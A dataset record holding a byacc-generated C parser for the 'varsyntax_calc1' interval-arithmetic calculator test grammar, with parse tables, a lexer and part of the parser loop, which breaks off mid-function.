file
stringlengths
18
26
data
stringlengths
3
1.04M
the_stack_data/231392386.c
/* original parser id follows */ /* yysccsid[] = "@(#)yaccpar 1.9 (Berkeley) 02/21/93" */ /* (use YYMAJOR/YYMINOR for ifdefs dependent on parser version) */ #define YYBYACC 1 #define YYMAJOR 1 #define YYMINOR 9 #define YYCHECK "yyyymmdd" #define YYEMPTY (-1) #define yyclearin (yychar = YYEMPTY) #define yyerrok (yyerrflag = 0) #define YYRECOVERING() (yyerrflag != 0) #define YYENOMEM (-2) #define YYEOF 0 #ident "check variant syntax features" #undef YYBTYACC #define YYBTYACC 0 #define YYDEBUGSTR YYPREFIX "debug" #ifndef yyparse #define yyparse varsyntax_calc1_parse #endif /* yyparse */ #ifndef yylex #define yylex varsyntax_calc1_lex #endif /* yylex */ #ifndef yyerror #define yyerror varsyntax_calc1_error #endif /* yyerror */ #ifndef yychar #define yychar varsyntax_calc1_char #endif /* yychar */ #ifndef yyval #define yyval varsyntax_calc1_val #endif /* yyval */ #ifndef yylval #define yylval varsyntax_calc1_lval #endif /* yylval */ #ifndef yydebug #define yydebug varsyntax_calc1_debug #endif /* yydebug */ #ifndef yynerrs #define yynerrs varsyntax_calc1_nerrs #endif /* yynerrs */ #ifndef yyerrflag #define yyerrflag varsyntax_calc1_errflag #endif /* yyerrflag */ #ifndef yylhs #define yylhs varsyntax_calc1_lhs #endif /* yylhs */ #ifndef yylen #define yylen varsyntax_calc1_len #endif /* yylen */ #ifndef yydefred #define yydefred varsyntax_calc1_defred #endif /* yydefred */ #ifndef yystos #define yystos varsyntax_calc1_stos #endif /* yystos */ #ifndef yydgoto #define yydgoto varsyntax_calc1_dgoto #endif /* yydgoto */ #ifndef yysindex #define yysindex varsyntax_calc1_sindex #endif /* yysindex */ #ifndef yyrindex #define yyrindex varsyntax_calc1_rindex #endif /* yyrindex */ #ifndef yygindex #define yygindex varsyntax_calc1_gindex #endif /* yygindex */ #ifndef yytable #define yytable varsyntax_calc1_table #endif /* yytable */ #ifndef yycheck #define yycheck varsyntax_calc1_check #endif /* yycheck */ #ifndef yyname #define yyname varsyntax_calc1_name #endif /* yyname */ #ifndef yyrule #define yyrule varsyntax_calc1_rule #endif /* yyrule */ #if YYBTYACC #ifndef yycindex #define yycindex varsyntax_calc1_cindex #endif /* yycindex */ #ifndef yyctable #define yyctable varsyntax_calc1_ctable #endif /* yyctable */ #endif /* YYBTYACC */ #define YYPREFIX "varsyntax_calc1_" #define YYPURE 0 #line 3 "varsyntax_calc1.y" /* http://dinosaur.compilertools.net/yacc/index.html * /*/ #include <stdlib.h> #include <stdio.h> #include <ctype.h> #include <math.h> typedef struct interval { double lo, hi; } INTERVAL; INTERVAL vmul(double, double, INTERVAL); INTERVAL vdiv(double, double, INTERVAL); extern int yylex(void); static void yyerror(const char *s); int dcheck(INTERVAL); double dreg[26]; INTERVAL vreg[26]; #ifdef YYSTYPE #undef YYSTYPE_IS_DECLARED #define YYSTYPE_IS_DECLARED 1 #endif #ifndef YYSTYPE_IS_DECLARED #define YYSTYPE_IS_DECLARED 1 #line 32 "varsyntax_calc1.y" typedef union { int ival; /* dreg & vreg array index values*/ double dval; /* floating point values*/ INTERVAL vval; /* interval values*/ } YYSTYPE; #endif /* !YYSTYPE_IS_DECLARED */ #line 162 "varsyntax_calc1.tab.c" /* compatibility with bison */ #ifdef YYPARSE_PARAM /* compatibility with FreeBSD */ # ifdef YYPARSE_PARAM_TYPE # define YYPARSE_DECL() yyparse(YYPARSE_PARAM_TYPE YYPARSE_PARAM) # else # define YYPARSE_DECL() yyparse(void *YYPARSE_PARAM) # endif #else # define YYPARSE_DECL() yyparse(void) #endif /* Parameters sent to lex. */ #ifdef YYLEX_PARAM # define YYLEX_DECL() yylex(void *YYLEX_PARAM) # define YYLEX yylex(YYLEX_PARAM) #else # define YYLEX_DECL() yylex(void) # define YYLEX yylex() #endif /* Parameters sent to yyerror. */ #ifndef YYERROR_DECL #define YYERROR_DECL() yyerror(const char *s) #endif #ifndef YYERROR_CALL #define YYERROR_CALL(msg) yyerror(msg) #endif extern int YYPARSE_DECL(); #define DREG 257 #define VREG 258 #define CONST 259 #define UMINUS 260 #define YYERRCODE 256 typedef short YYINT; static const YYINT varsyntax_calc1_lhs[] = { -1, 3, 3, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, }; static const YYINT varsyntax_calc1_len[] = { 2, 0, 2, 2, 2, 4, 4, 2, 1, 1, 3, 3, 3, 3, 2, 3, 1, 5, 1, 3, 3, 3, 3, 3, 3, 3, 3, 2, 3, }; static const YYINT varsyntax_calc1_defred[] = { 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 7, 0, 0, 9, 18, 14, 27, 0, 0, 0, 0, 0, 0, 3, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 15, 0, 28, 0, 0, 0, 0, 12, 24, 13, 26, 0, 0, 23, 25, 14, 0, 0, 0, 0, 0, 5, 6, 0, 0, 0, 12, 13, 17, }; #if defined(YYDESTRUCT_CALL) || defined(YYSTYPE_TOSTRING) static const YYINT varsyntax_calc1_stos[] = { 0, 256, 257, 258, 259, 45, 40, 262, 263, 264, 10, 61, 61, 257, 258, 263, 264, 263, 264, 43, 45, 42, 47, 10, 43, 45, 42, 47, 10, 45, 40, 263, 263, 264, 41, 44, 41, 263, 264, 263, 264, 263, 264, 263, 264, 264, 264, 264, 264, 263, 263, 43, 45, 42, 47, 10, 10, 263, 263, 263, 263, 263, 41, }; #endif /* YYDESTRUCT_CALL || YYSTYPE_TOSTRING */ static const YYINT varsyntax_calc1_dgoto[] = { 7, 32, 9, 0, }; static const YYINT varsyntax_calc1_sindex[] = { -40, -8, -48, -47, 0, -37, -37, 0, 2, 17, 0, -34, -37, 0, 0, 0, 0, -25, 90, -37, -37, -37, -37, 0, -37, -37, -37, -37, 0, -34, -34, 25, 125, 31, 0, -34, 0, -11, 37, -11, 37, 0, 0, 0, 0, 37, 37, 0, 0, 0, 111, -34, -34, -34, -34, 0, 0, 118, 69, 69, 0, 0, 0, }; static const YYINT varsyntax_calc1_rindex[] = { 0, 0, 38, 44, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -9, 0, 0, 0, 0, 51, -3, 56, 61, 0, 0, 0, 0, 67, 72, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 78, 83, 0, 0, 0, }; #if YYBTYACC static const YYINT varsyntax_calc1_cindex[] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, }; #endif static const YYINT varsyntax_calc1_gindex[] = { 0, 4, 124, 0, }; #define YYTABLESIZE 225 static const YYINT varsyntax_calc1_table[] = { 6, 16, 10, 6, 8, 5, 30, 20, 5, 15, 17, 29, 23, 11, 12, 31, 34, 21, 19, 35, 20, 0, 22, 37, 39, 41, 43, 28, 0, 0, 0, 21, 16, 49, 50, 55, 22, 0, 20, 57, 20, 56, 20, 0, 21, 19, 0, 20, 9, 22, 0, 0, 0, 0, 18, 58, 59, 60, 61, 26, 24, 10, 25, 0, 27, 0, 11, 53, 51, 0, 52, 22, 54, 26, 24, 0, 25, 19, 27, 26, 9, 9, 21, 9, 27, 9, 18, 18, 10, 18, 0, 18, 10, 11, 10, 10, 10, 11, 0, 11, 11, 11, 22, 0, 22, 0, 22, 0, 19, 0, 19, 53, 19, 21, 0, 21, 54, 21, 0, 10, 0, 10, 0, 10, 11, 0, 11, 0, 11, 16, 18, 36, 26, 24, 0, 25, 33, 27, 0, 0, 0, 0, 0, 38, 40, 42, 44, 0, 45, 46, 47, 48, 34, 53, 51, 0, 52, 0, 54, 62, 53, 51, 0, 52, 0, 54, 0, 21, 19, 0, 20, 0, 22, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 2, 3, 4, 13, 14, 4, 13, 0, 4, }; static const YYINT varsyntax_calc1_check[] = { 40, 10, 10, 40, 0, 45, 40, 10, 45, 5, 6, 45, 10, 61, 61, 11, 41, 42, 43, 44, 45, -1, 47, 19, 20, 21, 22, 10, -1, -1, -1, 42, 41, 29, 30, 10, 47, -1, 41, 35, 43, 10, 45, -1, 42, 43, -1, 45, 10, 47, -1, -1, -1, -1, 10, 51, 52, 53, 54, 42, 43, 10, 45, -1, 47, -1, 10, 42, 43, -1, 45, 10, 47, 42, 43, -1, 45, 10, 47, 42, 42, 43, 10, 45, 47, 47, 42, 43, 10, 45, -1, 47, 41, 10, 43, 44, 45, 41, -1, 43, 44, 45, 41, -1, 43, -1, 45, -1, 41, -1, 43, 42, 45, 41, -1, 43, 47, 45, -1, 41, -1, 43, -1, 45, 41, -1, 43, -1, 45, 5, 6, 41, 42, 43, -1, 45, 12, 47, -1, -1, -1, -1, -1, 19, 20, 21, 22, -1, 24, 25, 26, 27, 41, 42, 43, -1, 45, -1, 47, 41, 42, 43, -1, 45, -1, 47, -1, 42, 43, -1, 45, -1, 47, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 256, 257, 258, 259, 257, 258, 259, 257, -1, 259, }; #if YYBTYACC static const YYINT varsyntax_calc1_ctable[] = { -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, }; #endif #define YYFINAL 7 #ifndef YYDEBUG #define YYDEBUG 0 #endif #define YYMAXTOKEN 260 #define YYUNDFTOKEN 266 #define YYTRANSLATE(a) ((a) > YYMAXTOKEN ? YYUNDFTOKEN : (a)) #if YYDEBUG static const char *const varsyntax_calc1_name[] = { "$end",0,0,0,0,0,0,0,0,0,"'\\n'",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,"'('","')'","'*'","'+'","','","'-'",0,"'/'",0,0,0,0,0,0,0,0,0,0,0,0, 0,"'='",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, "error","DREG","VREG","CONST","UMINUS","$accept","line","dexp","vexp","lines", "illegal-symbol", }; static const char *const varsyntax_calc1_rule[] = { "$accept : line", "lines :", "lines : lines line", "line : dexp '\\n'", "line : vexp '\\n'", "line : DREG '=' dexp '\\n'", "line : VREG '=' vexp '\\n'", "line : error '\\n'", "dexp : CONST", "dexp : DREG", "dexp : dexp '+' dexp", "dexp : dexp '-' dexp", "dexp : dexp '*' dexp", "dexp : dexp '/' dexp", "dexp : '-' dexp", "dexp : '(' dexp ')'", "vexp : dexp", "vexp : '(' dexp ',' dexp ')'", "vexp : VREG", "vexp : vexp '+' vexp", "vexp : dexp '+' vexp", "vexp : vexp '-' vexp", "vexp : dexp '-' vexp", "vexp : vexp '*' vexp", "vexp : dexp '*' vexp", "vexp : vexp '/' vexp", "vexp : dexp '/' vexp", "vexp : '-' vexp", "vexp : '(' vexp ')'", }; #endif int yydebug; int yynerrs; int yyerrflag; int yychar; YYSTYPE yyval; YYSTYPE yylval; #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) YYLTYPE yyloc; /* position returned by actions */ YYLTYPE yylloc; /* position from the lexer */ #endif #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) #ifndef YYLLOC_DEFAULT #define YYLLOC_DEFAULT(loc, rhs, n) \ do \ { \ if (n == 0) \ { \ (loc).first_line = ((rhs)[-1]).last_line; \ (loc).first_column = ((rhs)[-1]).last_column; \ (loc).last_line = ((rhs)[-1]).last_line; \ (loc).last_column = ((rhs)[-1]).last_column; \ } \ else \ { \ (loc).first_line = ((rhs)[ 0 ]).first_line; \ (loc).first_column = ((rhs)[ 0 ]).first_column; \ (loc).last_line = ((rhs)[n-1]).last_line; \ (loc).last_column = ((rhs)[n-1]).last_column; \ } \ } while (0) #endif /* YYLLOC_DEFAULT */ #endif /* defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) */ #if YYBTYACC #ifndef YYLVQUEUEGROWTH #define YYLVQUEUEGROWTH 32 #endif #endif /* YYBTYACC */ /* define the initial stack-sizes */ #ifdef YYSTACKSIZE #undef YYMAXDEPTH #define YYMAXDEPTH YYSTACKSIZE #else #ifdef YYMAXDEPTH #define YYSTACKSIZE YYMAXDEPTH #else #define YYSTACKSIZE 10000 #define YYMAXDEPTH 10000 #endif #endif #ifndef YYINITSTACKSIZE #define YYINITSTACKSIZE 200 #endif typedef struct { unsigned stacksize; YYINT *s_base; YYINT *s_mark; YYINT *s_last; YYSTYPE *l_base; YYSTYPE *l_mark; #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) YYLTYPE *p_base; YYLTYPE *p_mark; #endif } YYSTACKDATA; #if YYBTYACC struct YYParseState_s { struct YYParseState_s *save; /* Previously saved parser state */ YYSTACKDATA yystack; /* saved parser stack */ int state; /* saved parser state */ int errflag; /* saved error recovery status */ int lexeme; /* saved index of the conflict lexeme in the lexical queue */ YYINT ctry; /* saved index in yyctable[] for this conflict */ }; typedef struct YYParseState_s YYParseState; #endif /* YYBTYACC */ /* variables for the parser stack */ static YYSTACKDATA yystack; #if YYBTYACC /* Current parser state */ static YYParseState *yyps = 0; /* yypath != NULL: do the full parse, starting at *yypath parser state. */ static YYParseState *yypath = 0; /* Base of the lexical value queue */ static YYSTYPE *yylvals = 0; /* Current position at lexical value queue */ static YYSTYPE *yylvp = 0; /* End position of lexical value queue */ static YYSTYPE *yylve = 0; /* The last allocated position at the lexical value queue */ static YYSTYPE *yylvlim = 0; #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) /* Base of the lexical position queue */ static YYLTYPE *yylpsns = 0; /* Current position at lexical position queue */ static YYLTYPE *yylpp = 0; /* End position of lexical position queue */ static YYLTYPE *yylpe = 0; /* The last allocated position at the lexical position queue */ static YYLTYPE *yylplim = 0; #endif /* Current position at lexical token queue */ static YYINT *yylexp = 0; static YYINT *yylexemes = 0; #endif /* YYBTYACC */ #line 178 "varsyntax_calc1.y" /* beginning of subroutines section */ #define BSZ 50 /* buffer size for floating point numbers */ /* lexical analysis */ static void yyerror(const char *s) { fprintf(stderr, "%s\n", s); } int yylex(void) { int c; while ((c = getchar()) == ' ') { /* skip over blanks */ } if (isupper(c)) { yylval.ival = c - 'A'; return (VREG); } if (islower(c)) { yylval.ival = c - 'a'; return (DREG); } if (isdigit(c) || c == '.') { /* gobble up digits, points, exponents */ char buf[BSZ + 1], *cp = buf; int dot = 0, expr = 0; for (; (cp - buf) < BSZ; ++cp, c = getchar()) { *cp = (char) c; if (isdigit(c)) continue; if (c == '.') { if (dot++ || expr) return ('.'); /* will cause syntax error */ continue; } if (c == 'e') { if (expr++) return ('e'); /* will cause syntax error */ continue; } /* end of number */ break; } *cp = '\0'; if ((cp - buf) >= BSZ) printf("constant too long: truncated\n"); else ungetc(c, stdin); /* push back last char read */ yylval.dval = atof(buf); return (CONST); } return (c); } static INTERVAL hilo(double a, double b, double c, double d) { /* returns the smallest interval containing a, b, c, and d */ /* used by *, / routines */ INTERVAL v; if (a > b) { v.hi = a; v.lo = b; } else { v.hi = b; v.lo = a; } if (c > d) { if (c > v.hi) v.hi = c; if (d < v.lo) v.lo = d; } else { if (d > v.hi) v.hi = d; if (c < v.lo) v.lo = c; } return (v); } INTERVAL vmul(double a, double b, INTERVAL v) { return (hilo(a * v.hi, a * v.lo, b * v.hi, b * v.lo)); } int dcheck(INTERVAL v) { if (v.hi >= 0. && v.lo <= 0.) { printf("divisor interval contains 0.\n"); return (1); } return (0); } INTERVAL vdiv(double a, double b, INTERVAL v) { return (hilo(a / v.hi, a / v.lo, b / v.hi, b / v.lo)); } #line 653 "varsyntax_calc1.tab.c" /* For use in generated program */ #define yydepth (int)(yystack.s_mark - yystack.s_base) #if YYBTYACC #define yytrial (yyps->save) #endif /* YYBTYACC */ #if YYDEBUG #include <stdio.h> /* needed for printf */ #endif #include <stdlib.h> /* needed for malloc, etc */ #include <string.h> /* needed for memset */ /* allocate initial stack or double stack size, up to YYMAXDEPTH */ static int yygrowstack(YYSTACKDATA *data) { int i; unsigned newsize; YYINT *newss; YYSTYPE *newvs; #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) YYLTYPE *newps; #endif if ((newsize = data->stacksize) == 0) newsize = YYINITSTACKSIZE; else if (newsize >= YYMAXDEPTH) return YYENOMEM; else if ((newsize *= 2) > YYMAXDEPTH) newsize = YYMAXDEPTH; i = (int) (data->s_mark - data->s_base); newss = (YYINT *)realloc(data->s_base, newsize * sizeof(*newss)); if (newss == 0) return YYENOMEM; data->s_base = newss; data->s_mark = newss + i; newvs = (YYSTYPE *)realloc(data->l_base, newsize * sizeof(*newvs)); if (newvs == 0) return YYENOMEM; data->l_base = newvs; data->l_mark = newvs + i; #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) newps = (YYLTYPE *)realloc(data->p_base, newsize * sizeof(*newps)); if (newps == 0) return YYENOMEM; data->p_base = newps; data->p_mark = newps + i; #endif data->stacksize = newsize; data->s_last = data->s_base + newsize - 1; #if YYDEBUG if (yydebug) fprintf(stderr, "%sdebug: stack size increased to %d\n", YYPREFIX, newsize); #endif return 0; } #if YYPURE || defined(YY_NO_LEAKS) static void yyfreestack(YYSTACKDATA *data) { free(data->s_base); free(data->l_base); #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) free(data->p_base); #endif memset(data, 0, sizeof(*data)); } #else #define yyfreestack(data) /* nothing */ #endif /* YYPURE || defined(YY_NO_LEAKS) */ #if YYBTYACC static YYParseState * yyNewState(unsigned size) { YYParseState *p = (YYParseState *) malloc(sizeof(YYParseState)); if (p == NULL) return NULL; p->yystack.stacksize = size; if (size == 0) { p->yystack.s_base = NULL; p->yystack.l_base = NULL; #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) p->yystack.p_base = NULL; #endif return p; } p->yystack.s_base = (YYINT *) malloc(size * sizeof(YYINT)); if (p->yystack.s_base == NULL) return NULL; p->yystack.l_base = (YYSTYPE *) malloc(size * sizeof(YYSTYPE)); if (p->yystack.l_base == NULL) return NULL; memset(p->yystack.l_base, 0, size * sizeof(YYSTYPE)); #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) p->yystack.p_base = (YYLTYPE *) malloc(size * sizeof(YYLTYPE)); if (p->yystack.p_base == NULL) return NULL; memset(p->yystack.p_base, 0, size * sizeof(YYLTYPE)); #endif return p; } static void yyFreeState(YYParseState *p) { yyfreestack(&p->yystack); free(p); } #endif /* YYBTYACC */ #define YYABORT goto yyabort #define YYREJECT goto yyabort #define YYACCEPT goto yyaccept #define YYERROR goto yyerrlab #if YYBTYACC #define YYVALID do { if (yyps->save) goto yyvalid; } while(0) #define YYVALID_NESTED do { if (yyps->save && \ yyps->save->save == 0) goto yyvalid; } while(0) #endif /* YYBTYACC */ int YYPARSE_DECL() { int yym, yyn, yystate, yyresult; #if YYBTYACC int yynewerrflag; YYParseState *yyerrctx = NULL; #endif /* YYBTYACC */ #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) YYLTYPE yyerror_loc_range[2]; /* position of error start & end */ #endif #if YYDEBUG const char *yys; if ((yys = getenv("YYDEBUG")) != 0) { yyn = *yys; if (yyn >= '0' && yyn <= '9') yydebug = yyn - '0'; } if (yydebug) fprintf(stderr, "%sdebug[<# of symbols on state stack>]\n", YYPREFIX); #endif #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) memset(yyerror_loc_range, 0, sizeof(yyerror_loc_range)); #endif #if YYBTYACC yyps = yyNewState(0); if (yyps == 0) goto yyenomem; yyps->save = 0; #endif /* YYBTYACC */ yym = 0; yyn = 0; yynerrs = 0; yyerrflag = 0; yychar = YYEMPTY; yystate = 0; #if YYPURE memset(&yystack, 0, sizeof(yystack)); #endif if (yystack.s_base == NULL && yygrowstack(&yystack) == YYENOMEM) goto yyoverflow; yystack.s_mark = yystack.s_base; yystack.l_mark = yystack.l_base; #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) yystack.p_mark = yystack.p_base; #endif yystate = 0; *yystack.s_mark = 0; yyloop: if ((yyn = yydefred[yystate]) != 0) goto yyreduce; if (yychar < 0) { #if YYBTYACC do { if (yylvp < yylve) { /* we're currently re-reading tokens */ yylval = *yylvp++; #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) yylloc = *yylpp++; #endif yychar = *yylexp++; break; } if (yyps->save) { /* in trial mode; save scanner results for future parse attempts */ if (yylvp == yylvlim) { /* Enlarge lexical value queue */ size_t p = (size_t) (yylvp - yylvals); size_t s = (size_t) (yylvlim - yylvals); s += YYLVQUEUEGROWTH; if ((yylexemes = realloc(yylexemes, s * sizeof(YYINT))) == NULL) goto yyenomem; if ((yylvals = realloc(yylvals, s * sizeof(YYSTYPE))) == NULL) goto yyenomem; #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) if ((yylpsns = realloc(yylpsns, s * sizeof(YYLTYPE))) == NULL) goto yyenomem; #endif yylvp = yylve = yylvals + p; yylvlim = yylvals + s; #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) yylpp = yylpe = yylpsns + p; yylplim = yylpsns + s; #endif yylexp = yylexemes + p; } *yylexp = (YYINT) YYLEX; *yylvp++ = yylval; yylve++; #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) *yylpp++ = yylloc; yylpe++; #endif yychar = *yylexp++; break; } /* normal operation, no conflict encountered */ #endif /* YYBTYACC */ yychar = YYLEX; #if YYBTYACC } while (0); #endif /* YYBTYACC */ if (yychar < 0) yychar = YYEOF; #if YYDEBUG if (yydebug) { if ((yys = yyname[YYTRANSLATE(yychar)]) == NULL) yys = yyname[YYUNDFTOKEN]; fprintf(stderr, "%s[%d]: state %d, reading token %d (%s)", YYDEBUGSTR, yydepth, yystate, yychar, yys); #ifdef YYSTYPE_TOSTRING #if YYBTYACC if (!yytrial) #endif /* YYBTYACC */ fprintf(stderr, " <%s>", YYSTYPE_TOSTRING(yychar, yylval)); #endif fputc('\n', stderr); } #endif } #if YYBTYACC /* Do we have a conflict? */ if (((yyn = yycindex[yystate]) != 0) && (yyn += yychar) >= 0 && yyn <= YYTABLESIZE && yycheck[yyn] == (YYINT) yychar) { YYINT ctry; if (yypath) { YYParseState *save; #if YYDEBUG if (yydebug) fprintf(stderr, "%s[%d]: CONFLICT in state %d: following successful trial parse\n", YYDEBUGSTR, yydepth, yystate); #endif /* Switch to the next conflict context */ save = yypath; yypath = save->save; save->save = NULL; ctry = save->ctry; if (save->state != yystate) YYABORT; yyFreeState(save); } else { /* Unresolved conflict - start/continue trial parse */ YYParseState *save; #if YYDEBUG if (yydebug) { fprintf(stderr, "%s[%d]: CONFLICT in state %d. ", YYDEBUGSTR, yydepth, yystate); if (yyps->save) fputs("ALREADY in conflict, continuing trial parse.\n", stderr); else fputs("Starting trial parse.\n", stderr); } #endif save = yyNewState((unsigned)(yystack.s_mark - yystack.s_base + 1)); if (save == NULL) goto yyenomem; save->save = yyps->save; save->state = yystate; save->errflag = yyerrflag; save->yystack.s_mark = save->yystack.s_base + (yystack.s_mark - yystack.s_base); memcpy (save->yystack.s_base, yystack.s_base, (size_t) (yystack.s_mark - yystack.s_base + 1) * sizeof(YYINT)); save->yystack.l_mark = save->yystack.l_base + (yystack.l_mark - yystack.l_base); memcpy (save->yystack.l_base, yystack.l_base, (size_t) (yystack.l_mark - yystack.l_base + 1) * sizeof(YYSTYPE)); #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) save->yystack.p_mark = save->yystack.p_base + (yystack.p_mark - yystack.p_base); memcpy (save->yystack.p_base, yystack.p_base, (size_t) (yystack.p_mark - yystack.p_base + 1) * sizeof(YYLTYPE)); #endif ctry = yytable[yyn]; if (yyctable[ctry] == -1) { #if YYDEBUG if (yydebug && yychar >= YYEOF) fprintf(stderr, "%s[%d]: backtracking 1 token\n", YYDEBUGSTR, yydepth); #endif ctry++; } save->ctry = ctry; if (yyps->save == NULL) { /* If this is a first conflict in the stack, start saving lexemes */ if (!yylexemes) { yylexemes = malloc((YYLVQUEUEGROWTH) * sizeof(YYINT)); if (yylexemes == NULL) goto yyenomem; yylvals = (YYSTYPE *) malloc((YYLVQUEUEGROWTH) * sizeof(YYSTYPE)); if (yylvals == NULL) goto yyenomem; yylvlim = yylvals + YYLVQUEUEGROWTH; #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) yylpsns = (YYLTYPE *) malloc((YYLVQUEUEGROWTH) * sizeof(YYLTYPE)); if (yylpsns == NULL) goto yyenomem; yylplim = yylpsns + YYLVQUEUEGROWTH; #endif } if (yylvp == yylve) { yylvp = yylve = yylvals; #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) yylpp = yylpe = yylpsns; #endif yylexp = yylexemes; if (yychar >= YYEOF) { *yylve++ = yylval; #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) *yylpe++ = yylloc; #endif *yylexp = (YYINT) yychar; yychar = YYEMPTY; } } } if (yychar >= YYEOF) { yylvp--; #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) yylpp--; #endif yylexp--; yychar = YYEMPTY; } save->lexeme = (int) (yylvp - yylvals); yyps->save = save; } if (yytable[yyn] == ctry) { #if YYDEBUG if (yydebug) fprintf(stderr, "%s[%d]: state %d, shifting to state %d\n", YYDEBUGSTR, yydepth, yystate, yyctable[ctry]); #endif if (yychar < 0) { yylvp++; #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) yylpp++; #endif yylexp++; } if (yystack.s_mark >= yystack.s_last && yygrowstack(&yystack) == YYENOMEM) goto yyoverflow; yystate = yyctable[ctry]; *++yystack.s_mark = (YYINT) yystate; *++yystack.l_mark = yylval; #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) *++yystack.p_mark = yylloc; #endif yychar = YYEMPTY; if (yyerrflag > 0) --yyerrflag; goto yyloop; } else { yyn = yyctable[ctry]; goto yyreduce; } } /* End of code dealing with conflicts */ #endif /* YYBTYACC */ if (((yyn = yysindex[yystate]) != 0) && (yyn += yychar) >= 0 && yyn <= YYTABLESIZE && yycheck[yyn] == (YYINT) yychar) { #if YYDEBUG if (yydebug) fprintf(stderr, "%s[%d]: state %d, shifting to state %d\n", YYDEBUGSTR, yydepth, yystate, yytable[yyn]); #endif if (yystack.s_mark >= yystack.s_last && yygrowstack(&yystack) == YYENOMEM) goto yyoverflow; yystate = yytable[yyn]; *++yystack.s_mark = yytable[yyn]; *++yystack.l_mark = yylval; #if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) *++yystack.p_mark = yylloc; #endif yychar = YYEMPTY; if (yyerrflag > 0) --yyerrflag; goto yyloop; } if (((yyn = yyrindex[yystate]) != 0) && (yyn += yychar) >= 0 && yyn <= YYTABLESIZE && yycheck[yyn] == (YYINT) yychar) { yyn = yytable[yyn]; goto yyreduce; } if (yyerrflag != 0) goto yyinrecovery; #if YYBTYACC yynewerrflag = 1; goto yyerrhandler; goto yyerrlab; /* redundant goto avoids 